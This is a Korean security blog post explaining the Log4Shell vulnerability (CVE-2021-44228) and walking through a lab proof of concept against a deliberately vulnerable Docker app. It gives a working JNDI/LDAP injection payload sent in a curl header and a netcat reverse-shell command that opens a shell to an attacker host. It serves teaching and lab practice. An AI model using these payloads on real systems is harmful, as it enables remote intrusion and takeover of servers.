Apache log4j 취약점 CVE-2021-44228 POC
- 정보보안/침해대응
- 2021. 12. 15. 20:40
log4j는 프로그래밍 중 로그를 남기 위해 사용하는 자바 기반 로깅 유틸리티이며,
특정 OS에 국한되지 않고, 자바 기반의 모든 상용 프로그램(웹캠, 네비게이션, 의료 장비)등에 사용되므로 위험도가 높습니다.
해당 취약점은 2021년 12월 9일에 발표, CVSS에서 score 10으로 보고되었습니다.
JNDI와 LDAP을 이용해 Java 객체를 찾을 수 있고, ldap://localhost:1389=JNDITutorial을 접속하면 LDAP 서버에서 JNDITutorial 객체를 조회 할 수 있습니다. 이번 사태에 치명적이게 된 이유가 log4j에서 편의를 위해 사용하던 ${prefix:name} 형식으로 Java 객체를 볼 수 있게 하는 문법이 존재하기 때문입니다.
ex) {java:version} -> 현재 실행중인 Java 버전 조회
log4j가 로그를 출력할 때 자동으로 내부에서 운영중인 LDAP 서버 등에 접속을 해서 변환하는 기능을 제공하는데, 해커가 만든 서버로 악성코드를 다운받게 할 수 있습니다.
아래 POC를 실습해보면서 공격 방법을 학습하고 피해자 시스템에 어떤식으로 로그가 남는지 확인해보도록 하겠습니다.
☠️ Proof Of Concept
😀 피해 시스템 환경 구성
Docker를 이용한 환경 구성
OS : Obuntu 18.04
docker 설치
#sudo apt update
#sudo apt install apt-transport-https ca-certificates curl software-properties-common
#curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
#sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu bionic stable"
#sudo apt update
#apt-cache policy docker-ce
#sudo apt install docker-ce
#sudo systemctl status docker
Log4Shell sample vulnerable application
https://github.com/christophetd/log4shell-vulnerable-app
해당 사이트에서 파일을 다운로드 받아 도커를 설치한 우분투 환경에 복사
log4shell-vulnerable-app-main.zip
#unzip log4shell-vulnerable-app-main.zip
#cd log4shell-vulnerable-app-main
#docker build . -t vulnerable-app
빌드 후 해당 컨테이너를 실행
#docker run -p 8080:8080 vulnerable-app
🤚 Permission 에러가 뜰 경우
#sudo chmod 666 /var/run/docker.sock
😡 공격 시스템 환경 구성
LDAP 서버 구동
Release JNDI-Injection-Exploit v1.0 · welk1n/JNDI-Injection-Exploit
JNDI-Injection-Exploit~.jar 다운로드
JNDIExploit을 이용한 ReverseShell
Step1
리버스 쉘을 사용하기 위해서 아래 -C 옵션에 리버스 쉘을 사용하는 명령어를 삽입하였습니다.
리버스쉘 생성 링크 : https://www.revshells.com/
#java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "nc 192.168.159.134 4444 -e /bin/sh" -A 192.168.159.134
→ java -jar JNDI-Injection~.jar -C "명령" -A 공격자 IP
Step2
공격자 시스템에서 4444포트를 열고 대기
#nc -lvp 4444
Step3
curl 스크립트를 이용하여 헤더에 공격자가 준비한 악의적인 ldap 서버 주소를 요청하게되면 공격이 실행됩니다.
공격이 성공시 피해 테스트 서버의 정상 서비스 페이지인 Hello.World! 문자가 출력되는 것을 확인할 수 있습니다.
#curl 192.168.159.137:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.159.134:1389/var5x6}'
curl 요청 후 피해자의 쉘권한을 획득 한 것을 확인할 수 있고, 그 이후 추가 악성행위를 수행할 수 있습니다.
피해자 시스템에서 확인했을때, 아래와 같이 log4j 로그가 기록되는 것을 확인할 수 있습니다.
참고 사이트
https://www.lunasec.io/docs/blog/log4j-zero-day/
https://github.com/Puliczek/CVE-2021-44228-PoC-log4j-bypass-words
https://www.hahwul.com/2021/12/11/log4shell-internet-is-on-fire/
대응방안
https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36389
'정보보안 > 침해대응' 카테고리의 다른 글
윈도우 침해사고 아티팩트 이벤트 로그 분석 방법 (0) | 2020.11.03 |
---|---|
침해사고 초기 대응 - 윈도우 [메모리, 아티팩트, 디스크 덤프] 수집 (0) | 2020.11.01 |